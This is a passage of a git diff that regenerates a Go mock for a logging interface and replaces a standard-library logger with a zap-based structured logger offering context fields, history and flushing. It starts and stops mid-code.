nil { panic("mock must not be nil. Use myMock := NewMockSimpleLogging().") } - params := []pegomock.Param{_param0, _param1, _param2} - result := pegomock.GetGenericMockFrom(mock).Invoke("NewLogger", params, []reflect.Type{reflect.TypeOf((**logging.SimpleLogger)(nil)).Elem()}) - var ret0 *logging.SimpleLogger - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*logging.SimpleLogger) + _params := []pegomock.Param{} + for _, param := range a { + _params = append(_params, param) + } + _result := pegomock.GetGenericMockFrom(mock).Invoke("WithHistory", _params, []reflect.Type{reflect.TypeOf((*logging.SimpleLogging)(nil)).Elem()}) + var _ret0 logging.SimpleLogging + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(logging.SimpleLogging) } } - return ret0 + return _ret0 } func (mock *MockSimpleLogging) VerifyWasCalledOnce() *VerifierMockSimpleLogging { @@ -133,14 +161,14 @@ func (mock *MockSimpleLogging) VerifyWasCalledOnce() *VerifierMockSimpleLogging } } -func (mock *MockSimpleLogging) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockSimpleLogging { +func (mock *MockSimpleLogging) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockSimpleLogging) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSimpleLogging { +func (mock *MockSimpleLogging) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -148,7 +176,7 @@ func (mock *MockSimpleLogging) VerifyWasCalledInOrder(invocationCountMatcher peg } } -func (mock *MockSimpleLogging) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockSimpleLogging { +func (mock *MockSimpleLogging) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSimpleLogging { return &VerifierMockSimpleLogging{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -158,17 +186,17 @@ func (mock *MockSimpleLogging) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockSimpleLogging struct { mock *MockSimpleLogging - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSimpleLogging) Debug(format string, a ...interface{}) *MockSimpleLogging_Debug_OngoingVerification { - params := []pegomock.Param{format} + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Debug", params, verifier.timeout) + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Debug", _params, verifier.timeout) return &MockSimpleLogging_Debug_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -183,18 +211,20 @@ func (c *MockSimpleLogging_Debug_OngoingVerification) GetCapturedArguments() (st } func (c *MockSimpleLogging_Debug_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { - _param1[u] = make([]interface{}, len(params)-1) - for x := 1; x < len(params); x++ { - if params[x][u] != nil { - _param1[u][x-1] = params[x][u].(interface{}) + _param1[u] = make([]interface{}, len(_params)-1) + for x := 1; x < len(_params); x++ { + if _params[x][u] != nil { + _param1[u][x-1] = _params[x][u].(interface{}) } } } @@ -202,38 +232,40 @@ func (c *MockSimpleLogging_Debug_OngoingVerification) GetAllCapturedArguments() return } -func (verifier *VerifierMockSimpleLogging) Info(format string, a ...interface{}) *MockSimpleLogging_Info_OngoingVerification { - params := []pegomock.Param{format} +func (verifier *VerifierMockSimpleLogging) Err(format string, a ...interface{}) *MockSimpleLogging_Err_OngoingVerification { + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Info", params, verifier.timeout) - return &MockSimpleLogging_Info_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Err", _params, verifier.timeout) + return &MockSimpleLogging_Err_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_Info_OngoingVerification struct { +type MockSimpleLogging_Err_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_Info_OngoingVerification) GetCapturedArguments() (string, []interface{}) { +func (c *MockSimpleLogging_Err_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } -func (c *MockSimpleLogging_Info_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockSimpleLogging_Err_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { - _param1[u] = make([]interface{}, len(params)-1) - for x := 1; x < len(params); x++ { - if params[x][u] != nil { - _param1[u][x-1] = params[x][u].(interface{}) + _param1[u] = make([]interface{}, len(_params)-1) + for x := 1; x < len(_params); x++ { + if _params[x][u] != nil { + _param1[u][x-1] = _params[x][u].(interface{}) } } } @@ -241,77 +273,74 @@ func (c *MockSimpleLogging_Info_OngoingVerification) GetAllCapturedArguments() ( return } -func (verifier *VerifierMockSimpleLogging) Warn(format string, a ...interface{}) *MockSimpleLogging_Warn_OngoingVerification { - params := []pegomock.Param{format} - for _, param := range a { - params = append(params, param) - } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Warn", params, verifier.timeout) - return &MockSimpleLogging_Warn_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSimpleLogging) Flush() *MockSimpleLogging_Flush_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Flush", _params, verifier.timeout) + return &MockSimpleLogging_Flush_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_Warn_OngoingVerification struct { +type MockSimpleLogging_Flush_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_Warn_OngoingVerification) GetCapturedArguments() (string, []interface{}) { - format, a := c.GetAllCapturedArguments() - return format[len(format)-1], a[len(a)-1] +func (c *MockSimpleLogging_Flush_OngoingVerification) GetCapturedArguments() { } -func (c *MockSimpleLogging_Warn_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([][]interface{}, len(c.methodInvocations)) - for u := 0; u < len(c.methodInvocations); u++ { - _param1[u] = make([]interface{}, len(params)-1) - for x := 1; x < len(params); x++ { - if params[x][u] != nil { - _param1[u][x-1] = params[x][u].(interface{}) - } - } - } - } - return +func (c *MockSimpleLogging_Flush_OngoingVerification) GetAllCapturedArguments() { } -func (verifier *VerifierMockSimpleLogging) Err(format string, a ...interface{}) *MockSimpleLogging_Err_OngoingVerification { - params := []pegomock.Param{format} +func (verifier *VerifierMockSimpleLogging) GetHistory() *MockSimpleLogging_GetHistory_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetHistory", _params, verifier.timeout) + return &MockSimpleLogging_GetHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockSimpleLogging_GetHistory_OngoingVerification struct { + mock *MockSimpleLogging + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockSimpleLogging_GetHistory_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockSimpleLogging_GetHistory_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockSimpleLogging) Info(format string, a ...interface{}) *MockSimpleLogging_Info_OngoingVerification { + _params := []pegomock.Param{format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Err", params, verifier.timeout) - return &MockSimpleLogging_Err_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Info", _params, verifier.timeout) + return &MockSimpleLogging_Info_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_Err_OngoingVerification struct { +type MockSimpleLogging_Info_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_Err_OngoingVerification) GetCapturedArguments() (string, []interface{}) { +func (c *MockSimpleLogging_Info_OngoingVerification) GetCapturedArguments() (string, []interface{}) { format, a := c.GetAllCapturedArguments() return format[len(format)-1], a[len(a)-1] } -func (c *MockSimpleLogging_Err_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockSimpleLogging_Info_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } _param1 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { - _param1[u] = make([]interface{}, len(params)-1) - for x := 1; x < len(params); x++ { - if params[x][u] != nil { - _param1[u][x-1] = params[x][u].(interface{}) + _param1[u] = make([]interface{}, len(_params)-1) + for x := 1; x < len(_params); x++ { + if _params[x][u] != nil { + _param1[u][x-1] = _params[x][u].(interface{}) } } } @@ -320,11 +349,11 @@ func (c *MockSimpleLogging_Err_OngoingVerification) GetAllCapturedArguments() (_ } func (verifier *VerifierMockSimpleLogging) Log(level logging.LogLevel, format string, a ...interface{}) *MockSimpleLogging_Log_OngoingVerification { - params := []pegomock.Param{level, format} + _params := []pegomock.Param{level, format} for _, param := range a { - params = append(params, param) + _params = append(_params, param) } - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Log", params, verifier.timeout) + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Log", _params, verifier.timeout) return &MockSimpleLogging_Log_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -339,22 +368,26 @@ func (c *MockSimpleLogging_Log_OngoingVerification) GetCapturedArguments() (logg } func (c *MockSimpleLogging_Log_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel, _param1 []string, _param2 [][]interface{}) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]logging.LogLevel, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(logging.LogLevel) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.LogLevel, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.LogLevel) + } } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } } _param2 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { - _param2[u] = make([]interface{}, len(params)-2) - for x := 2; x < len(params); x++ { - if params[x][u] != nil { - _param2[u][x-2] = params[x][u].(interface{}) + _param2[u] = make([]interface{}, len(_params)-2) + for x := 2; x < len(_params); x++ { + if _params[x][u] != nil { + _param2[u][x-2] = _params[x][u].(interface{}) } } } @@ -362,70 +395,141 @@ func (c *MockSimpleLogging_Log_OngoingVerification) GetAllCapturedArguments() (_ return } -func (verifier *VerifierMockSimpleLogging) Underlying() *MockSimpleLogging_Underlying_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Underlying", params, verifier.timeout) - return &MockSimpleLogging_Underlying_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSimpleLogging) SetLevel(lvl logging.LogLevel) *MockSimpleLogging_SetLevel_OngoingVerification { + _params := []pegomock.Param{lvl} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SetLevel", _params, verifier.timeout) + return &MockSimpleLogging_SetLevel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_Underlying_OngoingVerification struct { +type MockSimpleLogging_SetLevel_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_Underlying_OngoingVerification) GetCapturedArguments() { +func (c *MockSimpleLogging_SetLevel_OngoingVerification) GetCapturedArguments() logging.LogLevel { + lvl := c.GetAllCapturedArguments() + return lvl[len(lvl)-1] } -func (c *MockSimpleLogging_Underlying_OngoingVerification) GetAllCapturedArguments() { +func (c *MockSimpleLogging_SetLevel_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.LogLevel) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.LogLevel, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.LogLevel) + } + } + } + return } -func (verifier *VerifierMockSimpleLogging) GetLevel() *MockSimpleLogging_GetLevel_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetLevel", params, verifier.timeout) - return &MockSimpleLogging_GetLevel_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSimpleLogging) Warn(format string, a ...interface{}) *MockSimpleLogging_Warn_OngoingVerification { + _params := []pegomock.Param{format} + for _, param := range a { + _params = append(_params, param) + } + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Warn", _params, verifier.timeout) + return &MockSimpleLogging_Warn_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_GetLevel_OngoingVerification struct { +type MockSimpleLogging_Warn_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_GetLevel_OngoingVerification) GetCapturedArguments() { +func (c *MockSimpleLogging_Warn_OngoingVerification) GetCapturedArguments() (string, []interface{}) { + format, a := c.GetAllCapturedArguments() + return format[len(format)-1], a[len(a)-1] } -func (c *MockSimpleLogging_GetLevel_OngoingVerification) GetAllCapturedArguments() { +func (c *MockSimpleLogging_Warn_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + _param1 = make([][]interface{}, len(c.methodInvocations)) + for u := 0; u < len(c.methodInvocations); u++ { + _param1[u] = make([]interface{}, len(_params)-1) + for x := 1; x < len(_params); x++ { + if _params[x][u] != nil { + _param1[u][x-1] = _params[x][u].(interface{}) + } + } + } + } + return } -func (verifier *VerifierMockSimpleLogging) NewLogger(_param0 string, _param1 bool, _param2 logging.LogLevel) *MockSimpleLogging_NewLogger_OngoingVerification { - params := []pegomock.Param{_param0, _param1, _param2} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "NewLogger", params, verifier.timeout) - return &MockSimpleLogging_NewLogger_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSimpleLogging) With(a ...interface{}) *MockSimpleLogging_With_OngoingVerification { + _params := []pegomock.Param{} + for _, param := range a { + _params = append(_params, param) + } + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "With", _params, verifier.timeout) + return &MockSimpleLogging_With_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSimpleLogging_NewLogger_OngoingVerification struct { +type MockSimpleLogging_With_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } -func (c *MockSimpleLogging_NewLogger_OngoingVerification) GetCapturedArguments() (string, bool, logging.LogLevel) { - _param0, _param1, _param2 := c.GetAllCapturedArguments() - return _param0[len(_param0)-1], _param1[len(_param1)-1], _param2[len(_param2)-1] +func (c *MockSimpleLogging_With_OngoingVerification) GetCapturedArguments() []interface{} { + a := c.GetAllCapturedArguments() + return a[len(a)-1] } -func (c *MockSimpleLogging_NewLogger_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []bool, _param2 []logging.LogLevel) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]bool, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(bool) +func (c *MockSimpleLogging_With_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + _param0 = make([][]interface{}, len(c.methodInvocations)) + for u := 0; u < len(c.methodInvocations); u++ { + _param0[u] = make([]interface{}, len(_params)-0) + for x := 0; x < len(_params); x++ { + if _params[x][u] != nil { + _param0[u][x-0] = _params[x][u].(interface{}) + } + } } - _param2 = make([]logging.LogLevel, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(logging.LogLevel) + } + return +} + +func (verifier *VerifierMockSimpleLogging) WithHistory(a ...interface{}) *MockSimpleLogging_WithHistory_OngoingVerification { + _params := []pegomock.Param{} + for _, param := range a { + _params = append(_params, param) + } + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "WithHistory", _params, verifier.timeout) + return &MockSimpleLogging_WithHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockSimpleLogging_WithHistory_OngoingVerification struct { + mock *MockSimpleLogging + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockSimpleLogging_WithHistory_OngoingVerification) GetCapturedArguments() []interface{} { + a := c.GetAllCapturedArguments() + return a[len(a)-1] +} + +func (c *MockSimpleLogging_WithHistory_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + _param0 = make([][]interface{}, len(c.methodInvocations)) + for u := 0; u < len(c.methodInvocations); u++ { + _param0[u] = make([]interface{}, len(_params)-0) + for x := 0; x < len(_params); x++ { + if _params[x][u] != nil { + _param0[u][x-0] = _params[x][u].(interface{}) + } + } } } return diff --git a/server/logging/simple_logger.go b/server/logging/simple_logger.go index 0918e43f84..5003a1fda0 100644 --- a/server/logging/simple_logger.go +++ b/server/logging/simple_logger.go @@ -3,7 +3,9 @@ // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 +// +// http://www.apache.org/licenses/LICENSE-2.0 +// // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -17,211 +19,198 @@ package logging import ( "bytes" "fmt" - "io/ioutil" - "log" - "os" - "runtime" - "time" - "unicode" + + "github.com/pkg/errors" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_simple_logging.go SimpleLogging +//go:generate pegomock generate --package mocks -o mocks/mock_simple_logging.go SimpleLogging -// SimpleLogging is the interface that our SimpleLogger implements. -// It's really only used for mocking when we need to test what's being logged. +// SimpleLogging is the interface used for logging throughout the codebase. type SimpleLogging interface { + + // These basically just fmt.Sprintf() the message and args. Debug(format string, a ...interface{}) Info(format string, a ...interface{}) Warn(format string, a ...interface{}) Err(format string, a ...interface{}) Log(level LogLevel, format string, a ...interface{}) - // Underlying returns the underlying logger. - Underlying() *log.Logger - // GetLevel returns the current log level. - GetLevel() LogLevel - NewLogger(string, bool, LogLevel) *SimpleLogger -} - -// SimpleLogger wraps the standard logger with leveled logging -// and the ability to store log history for later adding it -// to a VCS comment. -type SimpleLogger struct { - // Source is added as a prefix to each log entry. - // It's useful if you want to trace a log entry back to a - // context, for example a pull request id. - Source string + SetLevel(lvl LogLevel) + + // With adds a variadic number of fields to the logging context. It accepts a + // mix of strongly-typed Field objects and loosely-typed key-value pairs. When + // processing pairs, the first element of the pair is used as the field key + // and the second as the field value. + With(a ...interface{}) SimpleLogging + + // Creates a new logger with history preserved . log storage + search strategies + // should ideally be used instead of managing this ourselves. + // keeping as a separate method to ensure that usage of history is completely intentional + WithHistory(a ...interface{}) SimpleLogging + + // Fetches the history we've stored associated with the logging context + GetHistory() string + + // Flushes anything left in the buffer + Flush() error +} + +type StructuredLogger struct { + z *zap.SugaredLogger + level zap.AtomicLevel + keepHistory bool // History stores all log entries ever written using // this logger. This is safe for short-lived loggers // like those used during plan/apply commands. - History bytes.Buffer - Logger *log.Logger - KeepHistory bool - Level LogLevel + // TODO: Deprecate this + // this is added here to maintain backwards compatibility + // This doesn't really make sense to keep given that structured logging + // gives us the ability to query our logs across multiple dimensions + // I don't believe we should mix this in with atlantis commands and expose this to the user + history bytes.Buffer } -type LogLevel int +func NewStructuredLoggerFromLevel(lvl LogLevel) (SimpleLogging, error) { + cfg := zap.NewProductionConfig() -const ( - Debug LogLevel = iota - Info - Warn - Error -) - -// NewSimpleLogger creates a new logger. -// source is added as a prefix to each log entry. It's useful if you want to -// trace a log entry back to a specific context, for example a pull request id. -// keepHistory set to true will store all log entries written using this logger. -// level will set the level at which logs >= than that level will be written. -// If keepHistory is set to true, we'll store logs at all levels, regardless of -// what level is set to. -func NewSimpleLogger(source string, keepHistory bool, level LogLevel) *SimpleLogger { - return &SimpleLogger{ - Source: source, - Logger: log.New(os.Stderr, "", 0), - Level: level, - KeepHistory: keepHistory, - } + cfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder + cfg.Level = zap.NewAtomicLevelAt(lvl.zLevel) + return newStructuredLogger(cfg) } -// NewNoopLogger creates a logger instance that discards all logs and never -// writes them. Used for testing. -func NewNoopLogger() *SimpleLogger { - logger := log.New(os.Stderr, "", 0) - logger.SetOutput(ioutil.Discard) - return &SimpleLogger{ - Source: "", - Logger: logger, - Level: Info, - KeepHistory: false, - } +func NewStructuredLogger() (SimpleLogging, error) { + cfg := zap.NewProductionConfig() + cfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder + return newStructuredLogger(cfg) } -// NewLogger returns a new logger that reuses the underlying logger. -func (l *SimpleLogger) NewLogger(source string, keepHistory bool, lvl LogLevel) *SimpleLogger { - if l == nil { - return nil - } - return &SimpleLogger{ - Source: source, - Level: lvl, - Logger: l.Underlying(), - KeepHistory: keepHistory, - } -} +func newStructuredLogger(cfg zap.Config) (*StructuredLogger, error) { + baseLogger, err := cfg.Build() -// SetLevel changes the level that this logger is writing at to lvl. -func (l *SimpleLogger) SetLevel(lvl LogLevel) { - if l != nil { - l.Level = lvl - } -} + baseLogger = baseLogger. + // ensures that the caller doesn't just say logging/simple_logger each time + WithOptions(zap.AddCallerSkip(1)). + WithOptions(zap.AddStacktrace(zapcore.WarnLevel)). + // creates isolated context for all future kv pairs, name can be flexible as needed + With(zap.Namespace("json")) -// Debug logs at debug level. -func (l *SimpleLogger) Debug(format string, a ...interface{}) { - if l != nil { - l.Log(Debug, format, a...) + if err != nil { + return nil, errors.Wrap(err, " initializing structured logger") } -} -// Info logs at info level. -func (l *SimpleLogger) Info(format string, a ...interface{}) { - if l != nil { - l.Log(Info, format, a...) - } + return &StructuredLogger{ + z: baseLogger.Sugar(), + level: cfg.Level, + }, nil } -// Warn logs at warn level. -func (l *SimpleLogger) Warn(format string, a ...interface{}) { - if l != nil { - l.Log(Warn, format, a...) +func (l *StructuredLogger) With(a ...interface{}) SimpleLogging { + return &StructuredLogger{ + z: l.z.With(a...), + level: l.level, } } -// Err logs at error level. -func (l *SimpleLogger) Err(format string, a ...interface{}) { - if l != nil { - l.Log(Error, format, a...) +func (l *StructuredLogger) WithHistory(a ...interface{}) SimpleLogging { + logger := &StructuredLogger{ + z: l.z.With(a...), + level: l.level, } + + // ensure that the history is kept across loggers. + logger.keepHistory = true + logger.history = l.history + + return logger } -// Log writes the log at level. -func (l *SimpleLogger) Log(level LogLevel, format string, a ...interface{}) { - if l != nil { - levelStr := l.levelToString(level) - msg := l.capitalizeFirstLetter(fmt.Sprintf(format, a...)) - - // Only log this message if configured to log at this level. - if l.Level <= level { - datetime := time.Now().Format("2006/01/02 15:04:05-0700") - var caller string - if l.Level <= Debug { - file, line := l.callSite(3) - caller = fmt.Sprintf(" %s:%d", file, line) - } - l.Logger.Printf("%s [%s]%s %s: %s\n", datetime, levelStr, caller, l.Source, msg) // noline: errcheck - } - - // Keep history at all log levels. - if l.KeepHistory { - l.saveToHistory(levelStr, msg) - } - } +func (l *StructuredLogger) GetHistory() string { + return l.history.String() } -// Underlying returns the underlying logger. -func (l *SimpleLogger) Underlying() *log.Logger { - return l.Logger +func (l *StructuredLogger) Debug(format string, a ...interface{}) { + l.z.Debugf(format, a...) + l.saveToHistory(Debug, format, a...) } -// GetLevel returns the current log level of the logger. -func (l *SimpleLogger) GetLevel() LogLevel { - return l.Level +func (l *StructuredLogger) Info(format string, a ...interface{}) { + l.z.Infof(format, a...) + l.saveToHistory(Info, format, a...) } -func (l *SimpleLogger) saveToHistory(level string, msg string) { - l.History.WriteString(fmt.Sprintf("[%s] %s\n", level, msg)) +func (l *StructuredLogger) Warn(format string, a ...interface{}) { + l.z.Warnf(format, a...) + l.saveToHistory(Warn, format, a...) } -func (l *SimpleLogger) capitalizeFirstLetter(s string) string { - runes := []rune(s) - runes[0] = unicode.ToUpper(runes[0]) - return string(runes) +func (l *StructuredLogger) Err(format string, a ...interface{}) { + l.z.Errorf(format, a...) + l.saveToHistory(Error, format, a...) } -// levelToString returns the logging level as a 4 character string. DEBUG and ERROR are shortened intentionally -// so that logs line up. -func (l *SimpleLogger) levelToString(level LogLevel) string { +func (l *StructuredLogger) Log(level LogLevel, format string, a ...interface{}) { switch level { case Debug: - return "DBUG" + l.z.Debugf(format, a...) case Info: - return "INFO" + l.z.Infof(format, a...) case Warn: - return "WARN" + l.z.Warnf(format, a...) case Error: - return "EROR" + l.z.Errorf(format, a...) + } +} + +func (l *StructuredLogger) SetLevel(lvl LogLevel) { + if l != nil { + l.level.SetLevel(lvl.zLevel) } - return "????" } -// callSite returns the location of the caller of this function via its -// filename and line number. skip is the number of stack frames to skip. -func (l *SimpleLogger) callSite(skip int) (string, int) { - _, file, line, ok := runtime.Caller(skip) - if !ok { - return "???", 0 +func (l *StructuredLogger) Flush() error { + return l.z.Sync() +} + +func (l *StructuredLogger) saveToHistory(lvl LogLevel, format string, a ...interface{}) { + if !l.keepHistory { + return } + msg := 